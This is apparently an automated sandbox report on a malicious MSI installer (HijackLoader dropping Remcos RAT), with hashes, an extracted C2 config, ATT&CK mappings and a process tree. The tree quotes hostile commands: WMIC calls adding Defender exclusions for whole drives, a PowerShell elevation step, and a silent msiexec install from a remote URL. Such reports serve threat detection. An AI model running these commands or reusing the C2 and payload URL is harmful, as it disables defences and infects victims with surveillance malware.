hijackloader | f5dfa6b5d19d9334c69d24dd98f13cb30badacb6403b03afc47af4e267cbe0c2

Analysis

max time kernel
147s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
18-11-2024 02:54

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General

Target

f5dfa6b5d19d9334c69d24dd98f13cb30badacb6403b03afc47af4e267cbe0c2.msi
Size

11.4MB
MD5

c628123d2539f5ae51b37a06bd179fc7
SHA1

139dfe6164e7c6ba6e2360673cf75801fd2add36
SHA256

f5dfa6b5d19d9334c69d24dd98f13cb30badacb6403b03afc47af4e267cbe0c2
SHA512

3cc3af8065b138719bae90720aeb37b15bb9412631aba972dab1d8d42e7507fd1d4ba231c96a0fe4b32b67e450594a95fe6d0fbc858bf2018b02b6d83ccda567
SSDEEP

196608:oEGAvNE+MNqCjsict52JykNWmKoahv02bfHJNeh5XK3zQlstPGaVB4L0iJP:QCBAK5XmooaBYhtKklkG

Score

10^/10

hijackloader remcos v2 discovery execution loader persistence privilege_escalation rat

Malware Config

Extracted

Family

remcos

Botnet

185.157.162.126:1995

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
qsdazeazd-EL00KX
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Detects HijackLoader (aka IDAT Loader) 1 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\audiogram.tif	family_hijackloader

HijackLoader
HijackLoader is a multistage loader first seen in 2023.
loader hijackloader
Hijackloader family
hijackloader
Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos
Use of msiexec (install) with remote resource 1 IoCs

Processes:

msiexec.exe

pid process

2948 msiexec.exe
Blocklisted process makes network request 1 IoCs

Processes:

msiexec.exe

flow pid process

20 4724 msiexec.exe

pid	process
2948	msiexec.exe

flow	pid	process
20	4724	msiexec.exe

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

msiexec.exemsiexec.exemsiexec.exe

description	ioc	process
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

cscript.exewscript.exewscript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	cscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Start PowerShell.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

4308 powershell.exe
Suspicious use of SetThreadContext 2 IoCs

Processes:

EHttpSrv.execmd.exe

description pid process target process

PID 1392 set thread context of 968 1392 EHttpSrv.exe cmd.exe
PID 968 set thread context of 4296 968 cmd.exe EHttpSrv.exe

pid	process
4308	powershell.exe

description	pid	process	target process
PID 1392 set thread context of 968	1392	EHttpSrv.exe	cmd.exe
PID 968 set thread context of 4296	968	cmd.exe	EHttpSrv.exe

Drops file in Program Files directory 9 IoCs

Processes:

msiexec.exe

description	ioc	process
File created	C:\Program Files (x86)\sev\dev\updt\task.vbs	msiexec.exe
File created	C:\Program Files (x86)\sev\dev\updt\lola.bat	msiexec.exe
File created	C:\Program Files (x86)\sev\dev\updt\secondaryTask.vbs	msiexec.exe
File created	C:\Program Files (x86)\sev\dev\updt\runTaskAsAdmin.vbs	msiexec.exe
File created	C:\Program Files (x86)\sev\dev\Firefox Installer.exe	msiexec.exe
File created	C:\Program Files (x86)\sev\dev\updt\npp.8.4.2.Installer.x64.exe	msiexec.exe
File created	C:\Program Files (x86)\sev\dev\ScreenRec_webinstall_all.exe	msiexec.exe
File created	C:\Program Files (x86)\sev\dev\updt\VisualStudioSetup.exe	msiexec.exe
File created	C:\Program Files (x86)\sev\dev\updt\ScreenRec_webinstall_all.exe	msiexec.exe

Drops file in Windows directory 22 IoCs

Processes:

msiexec.exemsiexec.exe

description	ioc	process
File opened for modification	C:\Windows\Installer\MSI907.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI975.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA60.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIBFF4.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC248.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC430.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFD5B.tmp	msiexec.exe
File created	C:\Windows\Installer\e57bf58.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{9A85933A-E1A1-4421-ACF9-F9A12BFF4DF0}	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\e57bf58.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC1AB.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC297.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC344.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI78E.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI82B.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe

Executes dropped EXE 1 IoCs

Processes:

EHttpSrv.exe

pid process

1392 EHttpSrv.exe

pid	process
1392	EHttpSrv.exe

Loads dropped DLL 12 IoCs

Processes:

MsiExec.exeMsiExec.exeEHttpSrv.exeEHttpSrv.exe

pid	process
3536	MsiExec.exe
3536	MsiExec.exe
3536	MsiExec.exe
3536	MsiExec.exe
3536	MsiExec.exe
4324	MsiExec.exe
4324	MsiExec.exe
4324	MsiExec.exe
4324	MsiExec.exe
1392	EHttpSrv.exe
1392	EHttpSrv.exe
4296	EHttpSrv.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
persistence privilege_escalation

Installer Packages
T1546.016

Msiexec
T1218.007

Processes:

msiexec.exe

pid process

4316 msiexec.exe

pid	process
4316	msiexec.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

cmd.exeEHttpSrv.exeMsiExec.exeMsiExec.exeEHttpSrv.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EHttpSrv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EHttpSrv.exe

Delays execution with timeout.exe 4 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exetimeout.exe

pid process

320 timeout.exe
1712 timeout.exe
1200 timeout.exe
3472 timeout.exe
Kills process with taskkill 2 IoCs
evasion

Processes:

taskkill.exetaskkill.exe

pid process

220 taskkill.exe
224 taskkill.exe

pid	process
320	timeout.exe
1712	timeout.exe
1200	timeout.exe
3472	timeout.exe

pid	process
220	taskkill.exe
224	taskkill.exe

Modifies data under HKEY_USERS 3 IoCs

Processes:

msiexec.exe

description	ioc	process
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\26\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

msiexec.exepowershell.exemsiexec.exeEHttpSrv.execmd.exe

pid process

4572 msiexec.exe
4572 msiexec.exe
4308 powershell.exe
4308 powershell.exe
4724 msiexec.exe
4724 msiexec.exe
1392 EHttpSrv.exe
968 cmd.exe
968 cmd.exe
Suspicious behavior: MapViewOfSection 3 IoCs

Processes:

EHttpSrv.execmd.exe

pid process

1392 EHttpSrv.exe
968 cmd.exe
968 cmd.exe

pid	process
4572	msiexec.exe
4572	msiexec.exe
4308	powershell.exe
4308	powershell.exe
4724	msiexec.exe
4724	msiexec.exe
1392	EHttpSrv.exe
968	cmd.exe
968	cmd.exe

pid	process
1392	EHttpSrv.exe
968	cmd.exe
968	cmd.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

msiexec.exemsiexec.exepowershell.exeWMIC.exe

description	pid	process
Token: SeShutdownPrivilege	4316	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4316	msiexec.exe
Token: SeSecurityPrivilege	4572	msiexec.exe
Token: SeCreateTokenPrivilege	4316	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4316	msiexec.exe
Token: SeLockMemoryPrivilege	4316	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4316	msiexec.exe
Token: SeMachineAccountPrivilege	4316	msiexec.exe
Token: SeTcbPrivilege	4316	msiexec.exe
Token: SeSecurityPrivilege	4316	msiexec.exe
Token: SeTakeOwnershipPrivilege	4316	msiexec.exe
Token: SeLoadDriverPrivilege	4316	msiexec.exe
Token: SeSystemProfilePrivilege	4316	msiexec.exe
Token: SeSystemtimePrivilege	4316	msiexec.exe
Token: SeProfSingleProcessPrivilege	4316	msiexec.exe
Token: SeIncBasePriorityPrivilege	4316	msiexec.exe
Token: SeCreatePagefilePrivilege	4316	msiexec.exe
Token: SeCreatePermanentPrivilege	4316	msiexec.exe
Token: SeBackupPrivilege	4316	msiexec.exe
Token: SeRestorePrivilege	4316	msiexec.exe
Token: SeShutdownPrivilege	4316	msiexec.exe
Token: SeDebugPrivilege	4316	msiexec.exe
Token: SeAuditPrivilege	4316	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4316	msiexec.exe
Token: SeChangeNotifyPrivilege	4316	msiexec.exe
Token: SeRemoteShutdownPrivilege	4316	msiexec.exe
Token: SeUndockPrivilege	4316	msiexec.exe
Token: SeSyncAgentPrivilege	4316	msiexec.exe
Token: SeEnableDelegationPrivilege	4316	msiexec.exe
Token: SeManageVolumePrivilege	4316	msiexec.exe
Token: SeImpersonatePrivilege	4316	msiexec.exe
Token: SeCreateGlobalPrivilege	4316	msiexec.exe
Token: SeRestorePrivilege	4572	msiexec.exe
Token: SeTakeOwnershipPrivilege	4572	msiexec.exe
Token: SeRestorePrivilege	4572	msiexec.exe
Token: SeTakeOwnershipPrivilege	4572	msiexec.exe
Token: SeRestorePrivilege	4572	msiexec.exe
Token: SeTakeOwnershipPrivilege	4572	msiexec.exe
Token: SeRestorePrivilege	4572	msiexec.exe
Token: SeTakeOwnershipPrivilege	4572	msiexec.exe
Token: SeRestorePrivilege	4572	msiexec.exe
Token: SeTakeOwnershipPrivilege	4572	msiexec.exe
Token: SeRestorePrivilege	4572	msiexec.exe
Token: SeTakeOwnershipPrivilege	4572	msiexec.exe
Token: SeRestorePrivilege	4572	msiexec.exe
Token: SeTakeOwnershipPrivilege	4572	msiexec.exe
Token: SeRestorePrivilege	4572	msiexec.exe
Token: SeTakeOwnershipPrivilege	4572	msiexec.exe
Token: SeRestorePrivilege	4572	msiexec.exe
Token: SeTakeOwnershipPrivilege	4572	msiexec.exe
Token: SeDebugPrivilege	4308	powershell.exe
Token: SeIncreaseQuotaPrivilege	3336	WMIC.exe
Token: SeSecurityPrivilege	3336	WMIC.exe
Token: SeTakeOwnershipPrivilege	3336	WMIC.exe
Token: SeLoadDriverPrivilege	3336	WMIC.exe
Token: SeSystemProfilePrivilege	3336	WMIC.exe
Token: SeSystemtimePrivilege	3336	WMIC.exe
Token: SeProfSingleProcessPrivilege	3336	WMIC.exe
Token: SeIncBasePriorityPrivilege	3336	WMIC.exe
Token: SeCreatePagefilePrivilege	3336	WMIC.exe
Token: SeBackupPrivilege	3336	WMIC.exe
Token: SeRestorePrivilege	3336	WMIC.exe
Token: SeShutdownPrivilege	3336	WMIC.exe
Token: SeDebugPrivilege	3336	WMIC.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

msiexec.exe

pid process

4316 msiexec.exe

pid	process
4316	msiexec.exe

Suspicious use of WriteProcessMemory 58 IoCs

Processes:

msiexec.execmd.execscript.exepowershell.exewscript.execmd.execmd.execmd.execmd.exewscript.exemsiexec.exeEHttpSrv.execmd.exe

description	pid	process	target process
PID 4572 wrote to memory of 3536	4572	msiexec.exe	MsiExec.exe
PID 4572 wrote to memory of 3536	4572	msiexec.exe	MsiExec.exe
PID 4572 wrote to memory of 3536	4572	msiexec.exe	MsiExec.exe
PID 4572 wrote to memory of 4664	4572	msiexec.exe	cmd.exe
PID 4572 wrote to memory of 4664	4572	msiexec.exe	cmd.exe
PID 4664 wrote to memory of 880	4664	cmd.exe	chcp.com
PID 4664 wrote to memory of 880	4664	cmd.exe	chcp.com
PID 4664 wrote to memory of 320	4664	cmd.exe	timeout.exe
PID 4664 wrote to memory of 320	4664	cmd.exe	timeout.exe
PID 4664 wrote to memory of 1712	4664	cmd.exe	timeout.exe
PID 4664 wrote to memory of 1712	4664	cmd.exe	timeout.exe
PID 4664 wrote to memory of 1200	4664	cmd.exe	timeout.exe
PID 4664 wrote to memory of 1200	4664	cmd.exe	timeout.exe
PID 4664 wrote to memory of 5076	4664	cmd.exe	cscript.exe
PID 4664 wrote to memory of 5076	4664	cmd.exe	cscript.exe
PID 5076 wrote to memory of 4308	5076	cscript.exe	powershell.exe
PID 5076 wrote to memory of 4308	5076	cscript.exe	powershell.exe
PID 4664 wrote to memory of 3472	4664	cmd.exe	timeout.exe
PID 4664 wrote to memory of 3472	4664	cmd.exe	timeout.exe
PID 4308 wrote to memory of 4480	4308	powershell.exe	wscript.exe
PID 4308 wrote to memory of 4480	4308	powershell.exe	wscript.exe
PID 4480 wrote to memory of 2360	4480	wscript.exe	cmd.exe
PID 4480 wrote to memory of 2360	4480	wscript.exe	cmd.exe
PID 2360 wrote to memory of 3336	2360	cmd.exe	WMIC.exe
PID 2360 wrote to memory of 3336	2360	cmd.exe	WMIC.exe
PID 4480 wrote to memory of 1072	4480	wscript.exe	cmd.exe
PID 4480 wrote to memory of 1072	4480	wscript.exe	cmd.exe
PID 1072 wrote to memory of 4896	1072	cmd.exe	WMIC.exe
PID 1072 wrote to memory of 4896	1072	cmd.exe	WMIC.exe
PID 4480 wrote to memory of 1324	4480	wscript.exe	cmd.exe
PID 4480 wrote to memory of 1324	4480	wscript.exe	cmd.exe
PID 1324 wrote to memory of 220	1324	cmd.exe	taskkill.exe
PID 1324 wrote to memory of 220	1324	cmd.exe	taskkill.exe
PID 4480 wrote to memory of 4296	4480	wscript.exe	cmd.exe
PID 4480 wrote to memory of 4296	4480	wscript.exe	cmd.exe
PID 4296 wrote to memory of 224	4296	cmd.exe	taskkill.exe
PID 4296 wrote to memory of 224	4296	cmd.exe	taskkill.exe
PID 4480 wrote to memory of 1820	4480	wscript.exe	cmd.exe
PID 4480 wrote to memory of 1820	4480	wscript.exe	cmd.exe
PID 4480 wrote to memory of 2920	4480	wscript.exe	wscript.exe
PID 4480 wrote to memory of 2920	4480	wscript.exe	wscript.exe
PID 2920 wrote to memory of 2948	2920	wscript.exe	msiexec.exe
PID 2920 wrote to memory of 2948	2920	wscript.exe	msiexec.exe
PID 4724 wrote to memory of 4324	4724	msiexec.exe	MsiExec.exe
PID 4724 wrote to memory of 4324	4724	msiexec.exe	MsiExec.exe
PID 4724 wrote to memory of 4324	4724	msiexec.exe	MsiExec.exe
PID 4724 wrote to memory of 1392	4724	msiexec.exe	EHttpSrv.exe
PID 4724 wrote to memory of 1392	4724	msiexec.exe	EHttpSrv.exe
PID 4724 wrote to memory of 1392	4724	msiexec.exe	EHttpSrv.exe
PID 1392 wrote to memory of 968	1392	EHttpSrv.exe	cmd.exe
PID 1392 wrote to memory of 968	1392	EHttpSrv.exe	cmd.exe
PID 1392 wrote to memory of 968	1392	EHttpSrv.exe	cmd.exe
PID 1392 wrote to memory of 968	1392	EHttpSrv.exe	cmd.exe
PID 968 wrote to memory of 4296	968	cmd.exe	EHttpSrv.exe
PID 968 wrote to memory of 4296	968	cmd.exe	EHttpSrv.exe
PID 968 wrote to memory of 4296	968	cmd.exe	EHttpSrv.exe
PID 968 wrote to memory of 4296	968	cmd.exe	EHttpSrv.exe
PID 968 wrote to memory of 4296	968	cmd.exe	EHttpSrv.exe

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\f5dfa6b5d19d9334c69d24dd98f13cb30badacb6403b03afc47af4e267cbe0c2.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4316

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4572
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding D7BDBC822B27EE536041D18CDAD1D64D
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:3536
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\sev\dev\updt\lola.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4664
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:880
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:320
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1712
- - C:\Windows\system32\timeout.exe
    timeout /t 3 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1200
- - C:\Windows\system32\cscript.exe
    cscript //nologo "C:\Program Files (x86)\sev\dev\updt\runTaskAsAdmin.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:5076
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Start-Process wscript.exe -ArgumentList '""C:\Program Files (x86)\sev\dev\updt\task.vbs""' -Verb runAs"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4308
    - - C:\Windows\system32\wscript.exe
        
        "C:\Windows\system32\wscript.exe" "C:\Program Files (x86)\sev\dev\updt\task.vbs
        5⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:4480
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c Wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="C:\"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2360
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        Wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="C:\"
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3336
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c Wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="F:\"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1072
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        Wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="F:\"
        7⤵
        
        PID:4896
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /f /im cmd.exe
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1324
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im cmd.exe
        7⤵
        Kills process with taskkill
        
        PID:220
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /f /im msiexec.exe
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4296
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im msiexec.exe
        7⤵
        Kills process with taskkill
        
        PID:224
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c echo Script started >> "C:\Users\root\Desktop\wix\log.txt"
        6⤵
        
        PID:1820
      - C:\Windows\System32\wscript.exe
        
        "C:\Windows\System32\wscript.exe" "C:\Program Files (x86)\sev\dev\updt\secondaryTask.vbs" /b
        6⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:2920
        
        C:\Windows\System32\msiexec.exe
        
        "C:\Windows\System32\msiexec.exe" /i https://gersgaming.s3.us-east-2.amazonaws.com/Slf.msi /qn
        7⤵
        Use of msiexec (install) with remote resource
        
        PID:2948
- - C:\Windows\system32\timeout.exe
    timeout /t 60 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3472

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4724
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 8B1C9D7A7BFBC5AA1FF775D4237F9969
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:4324
- C:\Users\Admin\AppData\Local\Temp\EHttpSrv.exe
  "C:\Users\Admin\AppData\Local\Temp\EHttpSrv.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:1392
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\SysWOW64\cmd.exe
    3⤵
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:968
  - - C:\Users\Admin\AppData\Local\Temp\EHttpSrv.exe
      C:\Users\Admin\AppData\Local\Temp\EHttpSrv.exe
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:4296

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Installer Packages

T1546.016

Privilege Escalation

Event Triggered Execution

T1546

Installer Packages

T1546.016

Defense Evasion

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Config.Msi\e57bf5b.rbs

Filesize
2KB

MD5
859ebe89073b23c216d858e95f52a7d5

SHA1
3ecdb5a04cbd9759af2b96ac658b44e73b508c08

SHA256
15ae0866b901cf960ba0644a21f125a604b6b947c86789b60412fc6bf00636d9

SHA512
a5c1e244f304a7fcc67ff06efcace2642d92917278f25704ad00d10cbefcc1268220cffd622868ef872e5d7b418aa282a4f3fdccdd0a2eed5db70a007a7b60a4

Download Submit
C:\Config.Msi\e5809f0.rbs

Filesize
2KB

MD5
0c8a2e94f8f279c4f0c80de6fa1f9b0d

SHA1
096b7e0713193f1c17c48421eb10b78901c545ec

SHA256
5d2ab69c7d2a16a30d10e4417ccf8ef85e07df5d61ddb94bd09f4bfeb0dc0ffd

SHA512
308335f6fc2193a61cc4171ae22aa57371e8baaa3eb123d81f9e0389acea41939b0fdada3f5c78b0a3d93fdaa7fe7a358ed754efae1dad75be346e2d86f7c709

Download Submit
C:\Program Files (x86)\sev\dev\updt\lola.bat

Filesize
928B

MD5
200bfb54cca80c3a3b50dd9c479d580b

SHA1
b2ac137e8d188dd4a9b0ad5e329714e3e7f2bd7c

SHA256
18aece804e2854d1aee6d3e289e8dfe9dcc832f67b84f47e4937aa41ed8250c7

SHA512
98909b213290980013d584389af154ee890949850c97c9512014984e29d779f6e554413b3086b1986e11169e95edf8b019b04b4d7fd475adcffb83f7c3f7779c

Download Submit
C:\Program Files (x86)\sev\dev\updt\runTaskAsAdmin.vbs

Filesize
659B

MD5
94d85f8f350a1f6fe8e700b87f5b4eea

SHA1
0dc9e11c55b3e056eeadb9cfe6ef2b6bd98300ea

SHA256
cb7294f1c425ad49aa0e487d36cfb580c303db25d1f69ea3fa08d81d29fc21ba

SHA512
0226c2662e4d6d2f473f075e8d200d55a3b18deacb40365450866039dafeb206ed6ea9216149d1ac5f1a19e8f185381b796d7f4fa3bb08c4558b6b292838e9c5

Download Submit
C:\Program Files (x86)\sev\dev\updt\secondaryTask.vbs

Filesize
869B

MD5
8532766ca0ae0adf46849cc89d54486a

SHA1
7bba7004901617e97855ddd6d5cc81f7c95ee3e7

SHA256
264b66a6d0b79faea0171a06441587cb910aaf815d7120ad2951fc7a5462dfcd

SHA512
1e1e2d5c3f7a394efb524c5f7b093201e9f4a9483a8146e44896b34b3dffbb74b213b04a904be064e39ef782b0b357a50444673faa42466e8b43219959e06762

Download Submit
